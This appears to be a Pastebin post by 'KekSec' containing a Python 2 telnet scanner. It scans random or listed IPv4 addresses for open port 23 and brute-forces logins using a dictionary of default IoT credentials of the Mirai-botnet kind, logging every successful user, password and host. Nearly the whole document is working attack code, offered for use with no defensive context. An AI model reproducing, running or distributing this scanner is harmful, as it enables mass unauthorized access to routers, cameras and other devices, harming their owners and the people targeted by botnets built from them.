Advertisement
KekSec

TELNET SCANNER 2021 PROPER PROTOCOL VERSION [stolen]

Jan 24th, 2021
2,991
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 12.97 KB | None | 0 0
  1. import socket
  2. from threading import Thread
  3. import sys
  4. import threading
  5. from netaddr import IPNetwork
  6. import logging
  7. import os
  8. import argparse
  9. import struct
  10. import random
  11. import time
  12.  
  13.  
  14. logging.basicConfig(filename='data.log', level=logging.DEBUG)
  15.  
  16.  
  17. dic = {
  18.     "root":
  19.     [
  20.         "vizxv",
  21.         "xc3511",
  22.         "888888",
  23.         "xmhdipc",
  24.         "default",
  25.         "juantech",
  26.         "123456",
  27.         "54321",
  28.         "",
  29.         "root",
  30.         "12345",
  31.         "pass",
  32.         "1111",
  33.         "666666",
  34.         "password",
  35.         "1234",
  36.         "klv123",
  37.         "klv1234",
  38.         "Zte521",
  39.         "hi3518",
  40.         "jvbzd",
  41.         "anko",
  42.         "zlxx",
  43.         "system",
  44.         "ikwb",
  45.         "dreambox",
  46.         "user",
  47.         "realtek",
  48.         "00000000",
  49.     ],
  50.     "admin":
  51.     [
  52.         "root",
  53.         "zoomadsl",
  54.         "",
  55.         "password",
  56.         "admin",
  57.         "admin1234",
  58.         "smcadmin",
  59.         "1111",
  60.         "12345678",
  61.         "1234",
  62.         "12345",
  63.         "54321",
  64.         "123456",
  65.         "4321",
  66.         "pass",
  67.         "meinsm",
  68.         "vnpt",
  69.     ],
  70.     "support":
  71.     [
  72.         "support",
  73.     ],
  74.     "user":
  75.     [
  76.         "user",
  77.     ],
  78.     "supervisor":
  79.     [
  80.         "supervisor",
  81.     ],
  82.     "tech":
  83.     [
  84.         "tech",
  85.     ],
  86.     "administrator":
  87.     [
  88.         "1234",
  89.     ],
  90.     "vodafone":
  91.     [
  92.         "vodafone",
  93.     ],
  94. }
  95.  
  96. # Telnet protocol get from telnetlib characters (don't change)
  97. IAC = chr(255)  # "Interpret As Command"
  98. DONT = chr(254)
  99. DO = chr(253)
  100. WONT = chr(252)
  101. WILL = chr(251)
  102. theNULL = chr(0)
  103.  
  104. SE = chr(240)  # Subnegotiation End
  105. NOP = chr(241)  # No Operation
  106. DM = chr(242)  # Data Mark
  107. BRK = chr(243)  # Break
  108. IP = chr(244)   # Interrupt process
  109. AO = chr(245)   # Abort output
  110. AYT = chr(246)  # Are You There
  111. EC = chr(247)  # Erase Character
  112. EL = chr(248)  # Erase Line
  113. G = chr(249)  # Go Ahead
  114. SB = chr(250)  # Subnegotiation Begin
  115.  
  116.  
  117. # Telnet protocol options code (don't change)
  118. # These ones all come from arpa/telnet.h
  119. BINARY = chr(0)  # 8-bit data path
  120. ECHO = chr(1)  # echo
  121. RCP = chr(2)  # prepare to reconnect
  122. SGA = chr(3)  # suppress go ahead
  123. NAMS = chr(4)  # approximate message size
  124. STATUS = chr(5)  # give status
  125. TM = chr(6)  # timing mark
  126. RCTE = chr(7)  # remote controlled transmission and echo
  127. NAOL = chr(8)  # negotiate about output line width
  128. NAOP = chr(9)  # negotiate about output page size
  129. NAOCRD = chr(10)  # negotiate about CR disposition
  130. NAOHTS = chr(11)  # negotiate about horizontal tabstops
  131. NAOHTD = chr(12)  # negotiate about horizontal tab disposition
  132. NAOFFD = chr(13)  # negotiate about formfeed disposition
  133. NAOVTS = chr(14)  # negotiate about vertical tab stops
  134. NAOVTD = chr(15)  # negotiate about vertical tab disposition
  135. NAOLFD = chr(16)  # negotiate about output LF disposition
  136. XASCII = chr(17)  # extended ascii character set
  137. LOGOUT = chr(18)  # force logout
  138. BM = chr(19)  # byte macro
  139. DET = chr(20)  # data entry terminal
  140. SUPDUP = chr(21)  # supdup protocol
  141. SUPDUPOUTPUT = chr(22)  # supdup output
  142. SNDLOC = chr(23)  # send location
  143. TTYPE = chr(24)  # terminal type
  144. EOR = chr(25)  # end or record
  145. TUID = chr(26)  # TACACS user identification
  146. OUTMRK = chr(27)  # output marking
  147. TTYLOC = chr(28)  # terminal location number
  148. VT3270REGIME = chr(29)  # 3270 regime
  149. X3PAD = chr(30)  # X.3 PAD
  150. NAWS = chr(31)  # window size
  151. TSPEED = chr(32)  # terminal speed
  152. LFLOW = chr(33)  # remote flow control
  153. LINEMODE = chr(34)  # Linemode option
  154. XDISPLOC = chr(35)  # X Display Location
  155. OLD_ENVIRON = chr(36)  # Old - Environment variables
  156. AUTHENTICATION = chr(37)  # Authenticate
  157. ENCRYPT = chr(38)  # Encryption option
  158. NEW_ENVIRON = chr(39)  # New - Environment variables
  159.  
  160. TN3270E = chr(40)  # TN3270E
  161. XAUTH = chr(41)  # XAUTH
  162. CHARSET = chr(42)  # CHARSET
  163. RSP = chr(43)  # Telnet Remote Serial Port
  164. COM_PORT_OPTION = chr(44)  # Com Port Control Option
  165. SUPPRESS_LOCAL_ECHO = chr(45)  # Telnet Suppress Local Echo
  166. TLS = chr(46)  # Telnet Start TLS
  167. KERMIT = chr(47)  # KERMIT
  168. SEND_URL = chr(48)  # SEND-URL
  169. FORWARD_X = chr(49)  # FORWARD_X
  170. PRAGMA_LOGON = chr(138)  # TELOPT PRAGMA LOGON
  171. SSPI_LOGON = chr(139)  # TELOPT SSPI LOGON
  172. PRAGMA_HEARTBEAT = chr(140)  # TELOPT PRAGMA HEARTBEAT
  173.  
  174. data = ""
  175.  
  176.  
  177. def banner():
  178.     banner = """
  179. _____    _            _   ____                                  
  180. |_   _|__| |_ __   ___| |_/ ___|  ___ __ _ _ __  _ __   ___ _ __
  181.  | |/ _ \ | '_ \ / _ \ __\___ \ / __/ _` | '_ \| '_ \ / _ \ '__|
  182.  | |  __/ | | | |  __/ |_ ___) | (_| (_| | | | | | | |  __/ |  
  183.  |_|\___|_|_| |_|\___|\__|____/ \___\__,_|_| |_|_| |_|\___|_|  
  184.                                                                
  185.  
  186.        """
  187.     return banner
  188.  
  189.  
  190. def is_alive(ip):
  191.     return os.system("ping -w 1 " + ip + ">> /dev/null") is 0
  192.  
  193.  
  194. def is_open_port_23(ip):
  195.     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  196.     sock.settimeout(2)
  197.     try:
  198.         result = sock.connect_ex((ip, 23))
  199.         sock.close()
  200.         return not result
  201.     except Exception, b:
  202.         logging.debug(str(b) + ip)
  203.         return False
  204.  
  205.  
  206. def commandControl(sock, data):
  207.     if data[1] and data[2] and [data[0], data[1], data[2]] == [IAC, DO, NAWS]:
  208.         res_msg = IAC + WILL + NAWS + IAC + SB + NAMS + \
  209.             theNULL + chr(80) + theNULL + TTYPE + IAC + SE
  210.         sock.send(res_msg)
  211.         return
  212.  
  213.     data = list(data)
  214.     for i in range(len(data)):
  215.         if data[i] == DO:
  216.             data[i] = WONT
  217.         if data[i] == WILL:
  218.             data[i] = DO
  219.     res_msg = ''.join(data)
  220.     sock.send(res_msg)
  221.     return
  222.  
  223.  
  224. def prompt_IAC(data):
  225.  
  226.     if data and data[0] == IAC:
  227.         for c in data:
  228.             if ord(c) > 50 and ord(c) < 128:
  229.                 return False
  230.         return True
  231.     return False
  232.  
  233.  
  234. def prompt_reply_user(user, data):
  235.     if data and user and user == data:
  236.         return True
  237.     return False
  238.  
  239.  
  240. def prompt_login(data):
  241.     if data and "ogin:" in data:
  242.         return True
  243.     if data and "name:" in data:
  244.         return True
  245.     return False
  246.  
  247.  
  248. def prompt_password(data):
  249.     if data and "word:" in data:
  250.         return True
  251.     if data and "word>" in data:
  252.         return True
  253.     return False
  254.  
  255.  
  256. def prompt_end_password(data):
  257.     if data == "\r\n":
  258.         return True
  259.     return False
  260.  
  261.  
  262. def prompt_shell(data):
  263.     if data and "assword>" in data:
  264.         return False
  265.     if data and "ame>" in data:
  266.         return False
  267.     if data and data[-1:] == ">":
  268.         return True
  269.     if data and data[-1:] == "#":
  270.         return True
  271.     if data and data[-1:] == "\%":
  272.         return True
  273.     if data and data[-1:] == "$":
  274.         return True
  275.     if data and data[-2:] == "> ":
  276.         return True
  277.     if data and data[-2:] == "# ":
  278.         return True
  279.     if data and data[-2:] == "\% ":
  280.         return True
  281.     if data and data[-2:] == "$ ":
  282.         return True
  283.     return False
  284.  
  285.  
  286. def prompt_block(data):
  287.     if data and "refused" in data:
  288.         return True
  289.     if data and "lock" in data:
  290.         return True
  291.     if data and "rejected" in data:
  292.         return True
  293.     if data and "eject the connection" in data:
  294.         return True
  295.     return False
  296.  
  297.  
  298. def prompt_limit(data):
  299.     if data and "limit" in data:
  300.         return True
  301.     return False
  302.  
  303.  
  304. def prompt_login_failed(data):
  305.     if data and "ncorrect" in data:
  306.         return True
  307.     if data and "ailed" in data:
  308.         return True
  309.     if data and "nvalid" in data:
  310.         return True
  311.     return False
  312.  
  313.  
  314. def optimus(ip):
  315.     if not is_open_port_23(ip):
  316.         sys.exit(1)
  317.     logging.debug("O: " + ip)
  318.     # print "try ", ip
  319.     for key in dic:
  320.         i = 0
  321.         values = dic[key]
  322.         while i < len(values):
  323.             tried = 0
  324.             just_prompted_IAC = False
  325.             prompted_login = False
  326.             prompted_password = False
  327.             try:
  328.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  329.                 s.connect((ip, 23))
  330.                 s.settimeout(60)
  331.                 data = None
  332.                 while True:
  333.                     pre_data = data
  334.                     data = s.recv(4096)
  335.                     # print data
  336.                     if not data:
  337.                         if not pre_data:
  338.                             if tried > 1:
  339.                                 logging.error("CLOSE: " + ip)
  340.                                 sys.exit(1)
  341.                             tried += 1
  342.                             time.sleep(5)
  343.                             continue
  344.                         break
  345.                     else:
  346.                         if prompt_IAC(data):
  347.                             just_prompted_IAC = True
  348.                             commandControl(s, data)
  349.                             continue
  350.                         elif prompt_login_failed(data):
  351.                             break
  352.                         elif prompt_login(data):
  353.                             if prompted_login:
  354.                                 break
  355.                             prompted_login = True
  356.                             just_prompted_IAC = False
  357.                             s.send(key + "\r\n")
  358.                             continue
  359.                         elif prompt_reply_user(key + "\r\n", data):
  360.                             just_prompted_IAC = False
  361.                             continue
  362.                         elif prompt_password(data):
  363.                             if prompted_password:
  364.                                 break
  365.                             prompted_password = True
  366.                             just_prompted_IAC = False
  367.                             s.send(values[i] + "\r\n")
  368.                             continue
  369.                         elif prompt_end_password(data):
  370.                             just_prompted_IAC = False
  371.                             continue
  372.                         elif prompt_shell(data):
  373.                             logging.info(key + ":" + values[i] + "@" + ip)
  374.                             sys.exit(1)
  375.                         elif prompt_block(data):
  376.                             logging.error("BLOCK: " + ip)
  377.                             sys.exit(1)
  378.                         elif prompt_limit(data):
  379.                             logging.error("LIMIT: " + ip)
  380.                             sys.exit(1)
  381.                         elif just_prompted_IAC:
  382.                             continue
  383.                         else:
  384.                             continue
  385.                 i += 1
  386.             except Exception, e:
  387.                 if "ime" in str(e):
  388.                     logging.error("BOT: " + ip)
  389.                     sys.exit()
  390.                 if "refused" in str(e):
  391.                     logging.error("BLOCK: " + ip)
  392.                     sys.exit()
  393.                 logging.error("CLOSE: " + ip)
  394.                 sys.exit(1)
  395.     logging.info("SEC: " + ip)
  396.  
  397.  
  398. def scan_random_ip(maxThreadNum):
  399.     while True:
  400.         ip = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))
  401.         while threading.activeCount() > maxThreadNum:
  402.             time.sleep(0.1)
  403.         p = Thread(target=optimus, args=[ip])
  404.         p.daemon = True
  405.         p.start()
  406.  
  407.  
  408. def scan_with_iprange(listip, maxThreadNum, debug=False):
  409.     threads = []
  410.  
  411.     with open(listip) as f:
  412.         lines = f.readlines()
  413.         for line in lines:
  414.             net = IPNetwork(line.strip())
  415.             for ip in net:
  416.                 ip = str(ip)
  417.                 if debug:
  418.                     optimus(ip)
  419.                     return
  420.                 while threading.activeCount() > maxThreadNum:
  421.                     time.sleep(1)
  422.                 p = Thread(target=optimus, args=[ip])
  423.                 p.daemon = True
  424.                 threads.append(p)
  425.                 p.start()
  426.     for i in threads:
  427.         i.join()
  428.  
  429.  
  430. if __name__ == "__main__":
  431.  
  432.     print banner()
  433.  
  434.     parser = argparse.ArgumentParser(description="Scan default telnet with random ip or a list of ips",
  435.                                      usage="\n\npython TelnetScanner.py -t 200\npython TelnetScanner.py -f listip.txt -t 200",)
  436.     sgroup = parser.add_argument_group(
  437.         "TelnetScanner", "Options for TelnetScanner")
  438.     sgroup.add_argument("-t", dest="thread", required=False,
  439.                         type=int, help="number of threads")
  440.     sgroup.add_argument("-f", dest="file", required=False,
  441.                         type=str, help="list ip")
  442.     sgroup.add_argument("-d", dest="debug", required=False,
  443.                         type=str, help="debug")
  444.     options = parser.parse_args()
  445.  
  446.     if not options.thread:
  447.         parser.print_help()
  448.         sys.exit(1)
  449.  
  450.     if options.thread < 3:
  451.         options.thread = 3
  452.  
  453.     if options.file:
  454.         if options.debug:
  455.             scan_with_iprange(options.file, options.thread, debug=True)
  456.             sys.exit(1)
  457.         scan_with_iprange(options.file, options.thread)
  458.         sys.exit(1)
  459.  
  460.     if not options.file:
  461.         scan_random_ip(options.thread)
  462.         sys.exit(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement